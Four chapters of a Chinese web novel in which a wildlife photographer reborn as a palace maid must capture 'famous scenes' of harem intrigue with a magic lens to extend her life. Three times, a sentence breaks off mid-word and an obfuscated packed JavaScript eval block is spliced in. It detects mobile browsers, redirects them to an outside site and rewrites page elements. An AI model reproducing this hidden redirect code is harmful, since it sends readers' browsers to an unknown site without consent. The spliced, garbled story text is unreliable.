《拍宫斗名场面,但野生动物摄影师》 1. 名场面一 【剩余寿命:3天。】 邝叶盯着这行字,脑中仍是一团浆糊。 此时正是中午,阳光穿过窗纸投在地上,有棱有角的窗棂形状,也让人心生暖意——不是非洲大草原的太阳,那儿的阳光绝没有这么柔和。 邝叶艰难坐起,就着屋内柔和的光线,用力眨眼,将手里的琉璃片又仔细看了一遍。 手里这块琉璃片是圆形,巴掌大小,表面光滑,无任何雕刻花纹,只用水红色棉线在周围编了一圈作为保护,上方留出了一段红棉线作为系绳,下方缀着穗子,像个琉璃制的圆形无事牌。 而这块本应该透明的琉璃透镜里,此时竟是出现了上面的几个字。 邝叶闭眼揉了揉因姿势改变而突突跳动的太阳穴,再睁眼却见上面的字变了。 【注:寿命可通过使用此摄像头收录本宫斗文内的名场面获得。】 寿命3天,这说的是我?名场面又是什么东西? 邝叶拿起琉璃透镜放在眼前,通过透镜观察室内摆设,桌椅板凳,窗棂帷幔,无一不昭示邝叶处于一个古代的场景。 “咔嚓。”随着邝叶眨眼,一声轻轻的快门声响起,透镜上现出了【废片:冷宫一隅】几个字,尔后渐渐消失,一行字慢慢显现:【成片不符合要求,摄影师邝叶,剩余寿命仍为3天】。 不对,她不是死了吗? 邝叶顾不得头痛,努力回想起前因后果来。 由于恐惧与人打交道,邝叶更喜欢动物,本科毕业后几经周折,也还是当上了野生动物摄影师,为野生动物记录片制作团队拍摄。 这次去非洲大草原,刚跟拍完非洲二姐斑鬣狗一个族群新王的首次捕猎,纪录片拍摄工作完美收官。 接着,邝叶在水源边遇到熟悉的犀牛群,便独自跟随拍摄,结果一声枪响,盗猎者的猎枪子弹打穿了邝叶的脑袋,犀牛群受惊四散奔逃。 邝叶在尘埃四起中倒地,她想,犀牛大概会把她的尸体踩成印象派风格,等某天,她最爱的花豹女王来到水源喝水,看到她的样子,也许会嗅一嗅,嫌弃地表示“人类肉少骨头多,行走的元素周期表”,就带着豹崽子们离开,又也许女王记得她的味道,把她保存到肚子里,让她长成自己身上的一块肌肉、一根骨头或是一片皮毛…… 脑子被盗猎者的猎枪开了洞的邝叶脑洞大开,再睁眼,便来到了这个陌生的地方。 邝叶想伸手掀开压在身上的沉重被子,却看到不属自己的瘦小皲裂的手,而她死前死死攥着摄像机的右手,此刻却是手腕上系着一块不作任何雕刻的圆形琉璃透镜。 说来,这块透镜比起无事牌,更像相机镜头片,只是上面的【剩余寿命:3天】让人心生不安,但无论邝叶擦拭还是翻转,上面的字都不再改变。 邝叶开始发愁,她大抵猜得到,自己死后灵魂穿越这个陌生时空里的一具新身体,然而邝叶对历史知之甚少,从这个房间里的摆设也不足以判定自己处于哪个历史时期,而屋漏偏逢连夜雨,她这具新身体也只有三天寿命,想要继续活下去,还得靠这块明显不属于这个时代的琉璃透镜。 “呀,醒了?” 正当邝叶想把绳套拆开查看那片琉璃透镜,门帘子突然被打开,进来一个十六、七岁的女孩子,女孩穿着看不出朝代的旧得发灰的古装,头上梳着简单对称的双髻,似乎是刚洗了手,正将双手在裙巾上擦拭,动作率性又随意,透着习惯劳作特有的麻利。 邝叶的第一反应是把琉璃透镜往被子里藏,却因为低头看见了自己身上的衣服也是古制,正疑惑,再看那女孩子,对方脑袋探向门外,正呼唤着什么人来…… 因女孩子出现,如海水般的回忆涌进邝叶的脑内,邝叶完全听不清对方叫了谁来…… 邝叶下意识地用右手捂住自己眩晕的脑袋,惊觉手腕上挂着的琉璃透镜上面的字竟变了。 【名场面:慧妃复位。C级。00:30:00。】 后面那个数字,随着时间流逝还在不断变小,00:29:59,00:29:58……是个30分钟倒计时! “叶儿,可是头疼么?” 一道温和好听的女声从上方传来,邝叶立马放下手,盖住琉璃透镜,抬头望向对方,见是一个穿褪色宫装的女子,看模样应当还不到二十岁,身形瘦削,长着张白净瓜子脸,眉目柔和又秀丽,发髻仅用一支木簪挽着,此刻正担忧地看着邝叶。 甫一看到女人的脸,又是一些不属于邝叶的记忆被调出来,走马灯似的,在邝叶脑海里闪过,她脑子像是刚被安上了一套新的操作系统的电脑,不过,这次倒不似刚才看到那十七八岁的女孩子那样难受,邝叶只肖愣一会,便从不属于自己的记忆里,找出女人对应的身份来。 慧妃,萧氏。七个月前被废黜,迁入冷宫。 邝叶想到了透镜上的“慧妃复位”几个字。 “主子问你话呢!不会烧傻了罢?”一只手伸到邝叶眼前晃了晃,是站在废妃旁边的女孩子,从新身体的记忆里可知,她叫桃儿,是邝叶这具新身体原主的同事,比原主年纪略长,她们都是半年前随废妃来到冷宫的宫女。 见主仆二人都看着自己,大有她不出声就要一直看下去的势头,邝叶硬着头皮,挤出了四个字:“我、我,好了。” 废妃听了,面色稍霁,却是没全放下心来,又问:“真好了?千万别瞒着,小心拖成大病。” 不擅长与人打交道的邝叶只会点头,再挤不出一个字。 那边的桃儿去桌边为废妃拉开凳子,抢着说,“主子,咱们这些穷苦人,哪里就有这么娇贵?人都是奴婢伺候主子,她受点儿风,病倒比主子还重,反让主子陪到大半夜才睡下……” 桃儿像只喳喳叫的蝉边数落着邝叶身体的原主,边到废妃跟前,想扶着她来桌前坐下,废妃却抬手拂开,用温柔的声音打断桃儿:“你让她说,你平日里把她的话都抢了,她才变这么沉默寡言。” 桃儿乖乖闭了嘴。 废妃自己走到那张漆色剥落的桌边坐下,身上虽荆钗布裙,仪态气度依旧不凡,与冷宫里这间拨给宫女住的屋子格格不入:“叶儿,身上哪里不好勿要强忍,你和桃儿也算与我共患难,我虽已是庶人,也断不会看着你缺医少药而死……” 邝叶连忙说“我好了,我真的好了”,想让这不属于自己的沉重关怀早点儿过去,毕竟,这具身体的原主,确实因染风寒,于昨天夜里,死在了十五岁的青春年华。 敏锐的桃儿也赶紧出言安慰废妃:“主子,会回去的,皇上和您一起长大,不会忘了您。” 废妃闻言,只是浅浅一笑,眉眼间氤氲着的淡淡愁绪怎么也化不开。 “咕……” 这一声乍响在变得安静的屋里,桌边主仆二人的目光都投向床上的邝叶,邝叶不好意思地低头看了看自己过于直白的肚子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128571|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废妃也不恼,掩着嘴笑了一声,倒是比刚才提及皇帝时开心了些,叫桃儿去厨房拿还煨在灶上的那碗粥来。 还算会活跃气氛的桃儿应声走了,屋子里只剩两人相顾无言,邝叶是不擅长和友好陌生人类打交道,废妃的身份是主人,不可能为跟仆人说话主动找话题。 邝叶真想此时有一个掩体能让自己像躲野生动物一样躲进去,可现实没有,她只得偷偷拿出右手,细细看起手心里的琉璃透镜来。 【名场面:慧妃复位。C级。00:25:50。】 透镜上的字和刚才一样,倒计时却已显示过去了五分钟。 “名场面”指的是什么?邝叶对此仍是一头雾水。 不知为何,桃儿这次去厨房去得格外久,在原主记忆里,冷宫不大,厨房离这间房也不远,不应当这么久才对。 就在屋里的尴尬快要化为实质,桃儿回来了,可手上却没带着粥,一进门就叫“主子”,满脸带笑地到废妃跟前报喜:“皇上拟旨给您复位了!传旨太监已在来的路上了!” 废妃却没多高兴,只是露出了个淡淡的笑容,桃儿却没注意到,因她只顾着冲过来把邝叶从被窝里扒出来,要邝叶赶紧穿戴好,不许丢份儿。 邝叶突然被桃儿掀开被子拉下床,琉璃透镜不小心暴露在了人前,可她们却像是没看到上面的字似的,桃儿还对这块又大又无雕饰的琉璃片略有嫌弃。 邝叶稍稍放下了心,看来这块琉璃透镜上的字只有自己能看到。 “圣旨到——” 太监尖细的嗓音响起时,冷宫主仆三人已经等在院内,大病初愈还饿着肚子的邝叶一脸疲态,听宣旨太监说“废妃萧氏接旨”时,学着桃儿的样子,跟着废妃一起跪下,琉璃透镜被她当玉佩一样系在了衣裙上,此刻因她跪着,躺在她铺展的裙子上,上面的字变成了【名场面:慧妃复位。C级。00:03:00】,只剩三分钟了。 在传旨太监念到“着复慧妃位”时,倒计时走到了【00:01:21】。 “臣妾接旨,谢陛下。”刚刚复位的萧慧妃叩首后双手接过圣旨。 【00:01:14】。 邝叶看到琉璃透镜上的倒计时数字越来越小,心里开始着急。 接旨后慧妃起身,邝叶和桃儿也跟着起身,太监哈着腰恭维了慧妃几句,收了桃儿递给的“吃茶钱”后便告退,唤等候在旁的宫女来为慧妃更衣,正提笔记录的女史也在向传旨太监行礼后走向这边。 【00:00:33】 邝叶抓住琉璃透镜,事关寿命,她急得就要像抓虱子的猴儿一样乱跳了,突然间福至心灵,解开了系带,取下了透镜。 【00:00:17】 邝叶像平时握着镜头一样握着那块琉璃透镜,举到了自己的右眼前,随着她眨眼,只有她听到的快门声响起,透镜取下了萧慧妃看圣旨的这一画面。 【名场面:慧妃复位,收录完成。摄影师邝叶,剩余寿命:33天。】 邝叶盯着最后那个数字,大大松了一口气。 还没等那口气松完,原本在慧妃身边看圣旨的桃儿突然过来抱住她,大笑着转圈儿,“回去了!咱们回去了!” 邝叶在挣扎之余接发现慧妃正看着这边,又是眉眼蕴涵着忧郁的笑容。 如果自己是摄影师,而这是个古代背景宫斗纪录片,主角,是萧慧妃吗? 2. 名场面二 回宫的路比想象中更长。 慧妃本可以坐步辇,却没传辇,而是更衣以后领着丫鬟们和负责记录的女史一起,从冷宫步行到太后居所拜见。 邝叶和桃儿并排,跟在慧妃三步之后,裙上系着那硕大朴拙的琉璃透镜,面向前方,眼睛却滴溜溜转着打量周围。 桃儿在来前千叮咛万嘱咐,作为皇帝养母的太后有多么多么可怕,是如何因为慧妃读诗笑得开心而让皇帝把慧妃打入冷宫七个月之久,要邝叶决不能乱说话也决不能不说话…… 行至慈宁宫门,自有宫女上前迎接,道这就遣人通报,请慧妃稍等。 “我当是谁这么没眼色,原来是‘笑声爽朗’的萧妃姐姐,今儿个不笑,我竟不识人了。”才刚跨进门槛,行至影壁,一道红色身影从影壁后转出,石榴红菱纹衣袖拂过壁脚,环佩叮咚作响,掠起几粒微尘,一个华服女子便立在慧妃面前。 “贵妃娘娘。” 接引的宫女连忙行礼,慧妃所带的宫女们及匆匆跟上来的贵妃的宫女也忙行礼,连为贵妃打伞遮阳的宫女也对着慧妃低头曲了曲膝。 慧妃看了满头金灿灿,妆面酡红,额贴珍珠的贵妃一眼,不打算对上其口舌锋芒,只是同她行了个半礼,贵妃却没回礼,而是垂着眼帘,面露嫌恶地退后半步,捻着檀木香珠的手捏住手帕掩在口鼻。 慧妃对这种幼稚的羞辱感到着实无趣,只道:“我听闻太后有恙,急从冷宫赶来探望,改日再与贵妃妹妹聚。” “呵。”贵妃嗤笑一声,将香珠甩得噼啪作响,邝叶偷偷抬眼看对方的表情,想来是慧妃这不接招的态度让她很是不悦,听桃儿说,贵妃是太后内侄女,仗着太后的势,在后宫是头一个的气焰嚣张。 “萧姐姐还是别进去,太后病着,皇后侍疾,你若近前,身上冷宫带出来的什么虱子跳蚤的,过给太后、皇后,那可怎么好呢?”贵妃说完,再不作停留,以帕子掩住口鼻,越过慧妃,经过女史身边时偏头瞟了一眼,扬长而去。 邝叶如其他宫女一般低着头,就在贵妃带起的香风掠过身侧时,腰间挂着的琉璃透镜上的字骤然变化:【名场面:贵妃逼昭容落水,等级:A。23:59:59】 邝叶略感意外,她还以为这部宫斗纪录片的主角是她最开始就接触到的慧妃,名场面会围绕慧妃出现,可现在事实表明,等级更高的名场面会在明天这个时候,出现在这把嚣张跋扈都写脸上的贵妃身上…… 思及此,邝叶偷偷回头,看向贵妃离去的身影。 忽然,已一只脚跨出门的贵妃回首,邝叶连忙低头看脚,但也已经躲避不及,被她发现。 贵妃步子慢慢地,慢慢地走到了邝叶近前,纸伞的阴影有一块投到了邝叶的裙摆与系在腰间的琉璃透镜上,那双云锦绣鞋来到了低着头的邝叶的视线里,馥郁的熏香也将邝叶瘦小的身躯裹挟。 身边其他宫女都已主动退开,桃儿低头在懊恼怎么还没到太后跟前呢就栽了,急得想冲过去抱住贵妃的腿求情,然而她清楚,这只会让贵妃更不想放过邝叶,现下只能靠邝叶自己的反应。 慧妃仍站得端庄自持,只是冷眼看着贵妃会有什么举动,女史蘸了蘸墨,随时准备写下“贵妃责其婢”…… 邝叶感觉到两只手指隔着丝质手帕抬起了她的下巴,她被迫面对一张厚重妆容下看不清表情的脸,她通晓很多野生动物行为学,知道动物的某个行为对应着什么情绪或状态,可对于人类……她无例可循。 就在邝叶以为自己的脸会像看过的电视剧的情节一般,被尖利的红指甲划破或是被甩上一巴掌的时候,已将她的脸仔细端详过的贵妃竟收回了手,帕子被弃置在地,飘落到邝叶脚边。 “这就是那自请去冷宫伺候的宫女?长相倒是契合冷宫,活脱脱一只阴沟老鼠。” 这就是在指桑骂槐了,在场的都知晓,贵妃真正在骂的是慧妃。 因为脸小眼睛大而被骂作老鼠的邝叶心说:不想当你们之间的一环。面上却仍是木讷的表情,仿佛没听懂贵妃的话。 贵妃想激怒慧妃,可慧妃不想在太后寝宫和女史眼皮底下跟她辩经,语气淡然地表明了为自己宫女撑腰的决心:“她于我入冷宫思过时自请跟随,此等不慕名利的好丫头,便是阴沟老鼠,我得见天光一日,也要她随我见天光一日。” 贵妃看向慧妃反笑道:“虽像只阴沟老鼠,兴许到本宫那儿养养能养好,萧姐姐不如把她送给我?” 一瞬之间,静得几乎落针可闻。 慧妃袖下的手捏成拳,强压住怒气道:“宫女是人不是物,怎可赠送?贵妃妹妹不如问问她愿意跟着谁?” 两个妃子都把目光移到邝叶身上,低着头的宫女们也偷偷打量起这个又瘦又小,看着也不机灵,除了忠心和好运外没有什么优势的宫女。 邝叶被她们看的发怵,连连摇头。她当然更想跟着慧妃,一来慧妃看着就比贵妃好相处,二来她在慧妃那里已经是心腹,在贵妃处就只是一个普通宫女,以后无论是打听消息、收买人,选择慧妃都明显优于贵妃…… 贵妃知道了答案,却是笑了,“本宫想要的,还需问?” 撂下意味不明的一句话,贵妃带领一行人扬长而去。 慧妃的宫女们都为邝叶逃过一劫松了口气,慧妃却心有不安,她听说目前皇后为太后侍疾,由淑妃和贵妃代为协理后宫,贵妃真想要一个宫女的话,那可太简单了…… 慧妃一行又等了会儿,太后身边的掌事姑姑亲自出来通知,说皇后才刚服侍太后用药歇下,慧妃娘娘心意到了便好,不必拜见了。 此话一出,邝叶听到身边的桃儿长出一口气。 慧妃面上也未流露出任何失落,礼数周全地说了几句场面话让姑姑转达,便告退带着她们一行人离开。 女史依然没走,一路跟着,拿笔在手板上记着,直到回到潆霞宫,斜阳临西照,得了慧妃示下,女史才告退离开。 “总算走了……”桃儿身上那根绷紧的弦全松懈下来,说出的话都带着懒散。 “累就去歇息,等传晚膳吧,我自己呆会儿。”慧妃坐到熟悉的梨木桌案前,对着满屋子精心维护过的原封不动,不知是要作画还是写字。 桃儿却不领命去休息,仿佛转瞬间又注入一股牛劲儿,摩拳擦掌,跃跃欲试,“主子留下叶儿侍墨罢,我方才把宫女们瞧了一瞧,都是新人,还得敲打一番,若今晚圣驾至,可不敢让她们唐突了。” 嘴笨的邝叶根本没有拒绝的份,想拉桃儿衣袖的手才伸出去,就这么又被桃儿安排了。 想跟桃儿打听新名场面“贵妃逼昭容落水”里的“昭容”倒是其次,主要邝叶不想跟慧妃单独相处……身为社恐,最怕的就是跟半熟不熟的人独处。 此刻潆霞宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128572|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西偏殿,邝叶斟酌半天,嘴唇都要舔破了也没说出打破尴尬的话,只像根木桩子一样站着,看慧妃将一本《织霞诗社集》取来,一页页撕掉,丢到脚边的铜盆里燃烧,火光在慧妃眼底跳跃,像萤虫在幽暗中垂死挣扎。 “娘娘……” 邝叶有些不习惯这个称呼,真叫出来后又紧张地舔了舔唇,在她吞吞吐吐之际,慧妃应道:“怎么了?别怕,我不会让贵妃将你调走,她有太后作靠山,我也自有我的倚仗。” 而邝叶想问的,非自己的事:“为什么要烧掉啊?” 慧妃轻笑一声,看了她一眼,见这小宫女一张瘦瘦窄窄的小脸上一双黑亮杏眼呆呆睁大,还是个什么都不懂的孩子呢,便不回答她,继续撕书焚纸。 主动搭话却得不到回应,邝叶又想逃跑了。 “我,奴,奴记得您给我们背过这上面的诗,在冷宫的时候,您很喜欢……”不擅找话题的邝叶近乎绞尽脑汁才想到可以利用原身的这段记忆,她没有底气,说到最后,声音也愈来愈小。 “好记性,”慧妃夸了她,又撕下几页丢入铜盆,“不比桃儿似的浮躁。” 慧妃是个性情柔和的人,而邝叶最怕的也是这种温柔地把你的问题全部打回来的人。 “是诗的错,么?” “诗怎么会有错?”慧妃见邝叶吞吞吐吐才问这个问题,甚至还忘了用尊称,她却没有生气,用看孩子的眼神看着邝叶,火光映得她侧脸忽明忽暗,“诗只有优劣之分,错的是人。” 铜盆里火舌已舔上新投进去的书页,焦黑的边缘卷曲着将上面的“秋愁其四侍鹤童子”吞没,原身记忆里,慧妃在冷宫给她们诵诗时说过,侍鹤童子是她在闺阁与姐妹们起诗社时的号,《织霞诗社集》正是去年中秋宴请群臣时,由已嫁作侍郎妻的闺中密友整理社员诗作成册后赠予,慧妃对此极为爱惜。 然而,也因为皇帝念诵自己所作的《秋愁其四》,慧妃才招致太后不喜,被罚入冷宫思过。 “是贵妃陷害?”邝叶说完马上捂住了自己的嘴。 死嘴!这是宫斗纪录片,拍摄对象听得懂人话!别把内心想法说出来啊啊啊!!! 果然,慧妃转过头,脸色骤然转冷,看得邝叶害怕,“叶儿,你病过一场之后,似乎性情有变……” 邝叶呼吸一窒,不知自己究竟哪里暴露了。 经防虫防腐处理的上好皮纸默默烧成灰。 正当邝叶以为慧妃会对她发难,慧妃却是收回目光,将诗集最后一页投入火盆,“桃儿那丫头把你都给带坏了……你听着,不是姚贵妃,不是任何人害的我,我被罚入冷宫,皆因我言行欠妥。你与桃儿不许出去嚼舌根!” 邝叶连忙捣蒜似的点头。 慧妃以为把邝叶吓着了,复又放软了态度:“罢,此非你之过,能让你们知晓,定是早有流言……” 邝叶悄悄松了一口气,为自己逃过的这一劫,看来慧妃身边也并不好呆,她太熟悉原主了,皮下换了人很容易就能被她察觉。 铜盆里的火渐渐熄灭,慧妃眼底的光也彻底被眼眸的暗色取代,她拿帕子将沾了灰的手拭了拭,吩咐邝叶:“你将盆撤了,如遇桃儿,让她单独来见。” 邝叶应了声“是”,往铜盆里倒了些水,以防灰烬再扬起,麻利地端盆退下,还没跨出殿外,外间忽然传来通传:“皇上驾到——” 3. 名场面三 宫斗纪录片里的最高统治者来了,邝叶一时间不知所措,竟楞在原地,直到见慧妃起身来到门前跪下,才放下铜盆,跟着下跪。 因低头跪着,邝叶根本不得见皇帝的模样,只有明黄色的袍角拂过,带起一点儿风,后面跟着宦官的紫衣与一串儿御前宫女的罗裙。 “快免礼。”皇帝自然也看不到邝叶,眼里都是慧妃,急急上前扶起她。皇帝的声音低沉,嗓音带着点儿粗糙,听桃儿说他和慧妃自小相识,想来年岁不大。 “怎么身边只跟着一个人?” “桃儿见宫女们多是新面孔,便想着与她们都见一见,熟悉熟悉,我便遣了她去,只留叶儿伺候,”说到此处,慧妃又特地夸了几句,“别看她年纪小,人却很周到,也不多言,在冷宫也是极能干的。” 邝叶明白慧妃此举的意思,想为她在皇帝面前刷脸,以便贵妃想要调她的时候能借皇帝的势留下她。 “哦,这就是那自请陪你迁居的宫女?不错,当赏!” “是。”陪同的御前太监极有眼色,把安排宫女赏银的讨巧差事领了下来,见邝叶没什么反应,以为小姑娘太高兴,忙催邝叶道:“叶儿姑娘,快谢恩呐!” 邝叶才知道还要谢恩,忙朝着黄袍的方向磕了个头,道:“谢陛下。” “行了,下去吧,你们都下去。” 皇帝发了话,邝叶跟着其他人一起齐声道“是”,眼疾手快端起铜盆就跨出门去,走得飞快,御前太监关个门的功夫就不见了她的身影。 幸亏原身以前在潆霞宫是负责洒扫的低等宫女,让邝叶对废水往哪儿倒知道得很清楚,倒好水拎着盆往回走时,恰巧碰到桃儿,身后跟着两个宫女跟班儿。 “你去哪里了?安公公找你呢!”桃儿的语气多有些责备的意思。 邝叶对桃儿举了举盆。 “以后这种事不用你干,”桃儿唤身后跟班儿,“小荷,你去。” 桃儿一声吩咐,她左手边的圆脸女孩立刻上前接过邝叶手里的盆,桃儿则把邝叶拉到与自己并排走。 邝叶见机会难得,大着胆子问桃儿:“姐姐,昭容是谁啊?” 桃儿听到她大喇喇的发问,先是朝身后看了跟班儿宫女一眼,见后者仍安分地低着头,才凑近邝叶,低声回答:“宫里还没有主子是昭容位份。以后这种事私下里问。” 邝叶连忙点头,瞥见自己裙上的透镜上头不断减少的倒计时,心里犯起了嘀咕,没有昭容,可名场面却提到了昭容,难道在一天之内会有人被皇帝封为昭容? 可是慧妃才刚回来啊,谁都说皇帝和慧妃青梅竹马、情好甚笃…… “啊呀,桃姑娘办事就是灵巧,一下就给咱家把人找来了!” 安居进就是皇帝带来的御前太监,白面皮,寡淡面相,大宦官的紫袍加之脸上揉的上好胭脂才能添得几分颜色,让桃儿找邝叶并不是要给她赏银,给宫女赏银有章程,不会那么快,他只不过想认认人,看看这位慧妃新得脸的大宫女,毕竟今后会有不少交集。 这种社交场面简直是要了邝叶老命,幸好桃儿伶牙俐齿,一句“她嘴笨,不爱说话”之后,把所有好回答的不好回答的都替邝叶答了,而邝叶就在她每一个回答后点头并加一句“嗯!” 安居进看着这俩人,把先前的想法打去,这慧妃娘娘新晋的大宫女,也就是桃儿一个大些的跟班儿罢了,不足以结交。 这边三人正说着话,殿内突然传来瓷器碎裂声,在廊下说话的三人俱是一惊,纷纷往那看去。 门扉猛地洞开,皇帝甩袖而出,快步离开,安居进紧忙跟上问摆驾何处?潆霞宫的宫女太监们纷纷低头,不敢直视圣颜。 邝叶虽也是急忙低头,却还是不小心与皇帝对视了一眼,能看见那张俊俏面容上表情不好,似乎是愠怒。 等听到皇上起驾,桃儿才带着邝叶跑进殿内,看到地上一片狼藉,全是纸笔砚台倒了一地,慧妃最喜欢的白瓷笔洗也成了一地碎片,慧妃站在那里,眼神空洞…… 谁也不知道慧妃和皇帝单独在殿内时发生了什么,只是到了晚上,邝叶目睹桃儿在慧妃喝过安神汤睡下之后,罚了两个嚼舌根的小宫女。 罚得很重,跪一个时辰然后从哪儿来回哪儿去。 究其缘由,是两个小宫女听说,圣驾离开潆霞宫后,去了御花园,让在御花园守株待兔守了有半个月的林美人今日总算接了驾,这边刚从冷宫回来便失了宠,那边跨一级升了昭容……小宫女边羡慕边动心思,还在干活时把心思说了出来,不巧还被经过的桃儿听到…… “还有哪个想同这两人一起去投奔明主的,不妨说出来,”桃儿把围观的人都看了一遍,眼神是超越她年龄的凌厉,“我和叶儿陪着娘娘连冷宫都走了一遭,没道理回潆霞宫倒过不下去了。” 众人皆屏息凝神,大气都不敢出,没一个人敢站出来说话,桃儿这才满意,叫人散了去睡觉。 这一场下马威过后,潆霞宫的宫人各怀心事,桃儿想的是怎么弹压住这群人,想留下的宫人思考如何与桃儿搞好关系,不想留下则盘算私下寻个明主……除了邝叶。 邝叶只注意到了新晋升的林昭容符合摄像头要求收录的名场面条件。 一个月的寿命是不太够的,她必须得抓住机会收录到这个A级名场面,让自己活下去。 次日。 慧妃在用午膳后恢复了些精神,皇帝在她复位回宫当天就晋封新人给她难堪她也不怨怼了,还要派人往新晋升的林昭容处送礼恭贺。 邝叶主动请缨接下此任务,慧妃难得见她主动开口争取,又见桃儿忙着整理各妃嫔往潆霞宫送来的礼物,便答允下来,又差两个二等宫女同邝叶一起。 说是邝叶带领,其实邝叶只是提贺礼的,路还是两个二等宫女给指的。 邝叶这样的连哪个主子住哪儿都还不熟悉,实在不应当出来送礼,但邝叶需要一个正当的离开慧妃身边、出现在林昭容身边的理由。 到了昭容住的闲云阁,却未得拜见昭容,而是由宫女收下了礼物,并答她们三人:昭容带了宫女去了御花园摘槐花,湖边那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128573|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老槐树的花可香了。 邝叶没说什么,道别后离去,走到半路却让另两个宫女先回去,自己要去御药房为慧妃讨安神汤,还各给了一颗碎银贿赂,两个宫女见有钱拿还不用干活,收了冤大头上司的钱,乐滋滋跑了。 凭借原主的记忆,邝叶来到御花园,观察了拍摄角度和取景范围后,往湖边的老槐树走去。 昭容此时并不在摘槐花,而是坐在湖心六角凉亭内,她本是尚食局末等女官,七个月前在御花园得见皇帝被封美人,后来沉寂了一段儿,便每日都来御花园走走,期望能再有机缘,没想到昨天竟真的得偿所愿,晋封昭容。 希望今日,能再得见…… 昭容心头带着期盼等待着,邝叶轻巧地上树,趴在老槐树枝干上,拨开树叶准备着。 琉璃透镜被系到了手腕上,上面显示倒计时越来越少。 昭容听到有脚步声,惊喜地起身转头,下一瞬,惊喜就僵在了她脸上…… 邝叶把透镜置于眼前,心里跟着默数:3,2,1。 邝叶在贵妃把昭容逼得不断退后,直到载进湖里的瞬间眨眼。 【名场面收录成功!摄影师邝叶剩余寿命:152天】。 不远处,已有一角明黄色的衣袍拂过月洞门。 “皇上驾到——” 准备下树的邝叶听到这声宣告,只得停在了老槐树最矮的枝杈上,树叶因此无风而动,发出沙沙声响。 这声响吸引了皇帝,皇帝索性站到树荫下,摩挲手中折扇,命人将湖中的两个嫔妃捞起来,没错,两个嫔妃。 林昭容被捞上岸时,浑身湿透,委委屈屈地就要倒向皇帝怀中,被宫女拦下,跪地便哭得浑身颤抖,柔弱地求皇帝做主。 昭容会哭,贵妃当然也会,贵妃的哭泣不同,像是强吞下不甘跪下,妆容全花的脸流下两行泪,“臣妾不慎落水,是昭容妹妹相救。” 昭容也不哭了,不可置信地看着贵妃。 似是有风,老槐树的树叶在头顶又沙沙响了一阵。 贵妃轻推了跪在身边的贴身宫女手臂一下,宫女立刻反应,“回陛下,是,是贵妃娘娘踩空落水,昭容娘娘下水相救。” “不,”昭容颤抖着唇解释,“不是,明明是贵妃逼我落水,她再自己……” “妹妹,你后悔相救也罢了,何必如此污蔑于我?” “是奴婢的错,奴婢不知昭容娘娘不会水,早该拦住昭容娘娘……” 一时间,林昭容百口莫辩,为救贵妃落水这顶高帽就这么扣在她头上,而她唯一能指望的皇帝,是希望看到后宫勾心斗角、不择手段,还是其乐融融甚至舍命相救,答案不言而喻。 事实此刻已不再重要,林昭容只能咽下这个委屈,除非有她的宫女及贵妃的宫女以外的,目睹全程的人愿意冒着惹皇上不喜的风险作证。 “安居进,把树上的人拿下。”皇帝突然施令。 所有人一齐看向树冠,安居进刚应“是”,一个人影便掉了下来,不偏不倚,砸到了皇帝身上。 4. 名场面四 御花园妃子落水变成御花园抓刺客,场面顿时乱成一锅粥。 邝叶被安居进和另一位太监及几个宫女押着,跪伏在地动弹不得,槐花如雨落在眼前,草木青涩的腥味钻进鼻子。 邝叶听到皇帝要抓她时,本是想往更高处更末端的树冠躲,再另想办法——就像前世躲会爬树的大体型猫科动物一样。 但也没想到自己会抓不住上方的树枝,直接掉了下来,邝叶在心里直叫倒霉,这具身体还是太年幼,肌肉力量太弱了…… “大胆刁奴,光天化日在树上躲藏什么?还砸倒了陛下,你是哪个宫里的?!”安居进看到了她的打扮是宫女装束,有意把“刺客潜入”的罪名往“刁奴躲懒”上引,冲撞了陛下,或打或杀,罚过这个人也就过了,可别把事情闹大牵连到所有人,毕竟宫禁疏漏这个罪名波及范围可太大了。 感到压住她脑袋的手撤走,邝叶抬起头,看向质问传来的方向。 “这……”安居进竟鲜有地语塞,苍白的脸上浮现一丝为难,“怎么是你?你不在慧妃娘娘跟前伺候跑这儿来做甚?” 慧妃的宫女?哪一个? 林昭容仍跪着,衣裳湿淋淋地贴在身上,脸上泪痕未干,但现在也不敢为自己的委屈申辩,这会子每个人都注意皇帝遇袭一事,没人理她和贵妃的争风吃醋。 安居进挥了挥手,押着邝叶的人得了示下,松开邝叶,皆退开了一些,邝叶得以变作正常的跪姿,她按照记忆里的行礼姿势,向被安居进护在身后的皇帝,行了一礼,不着痕迹地摸了摸袖中的琉璃透镜,还好,掉下来时没摔坏。 “奴替慧妃娘娘给昭容送贺礼。”邝叶如实回话。 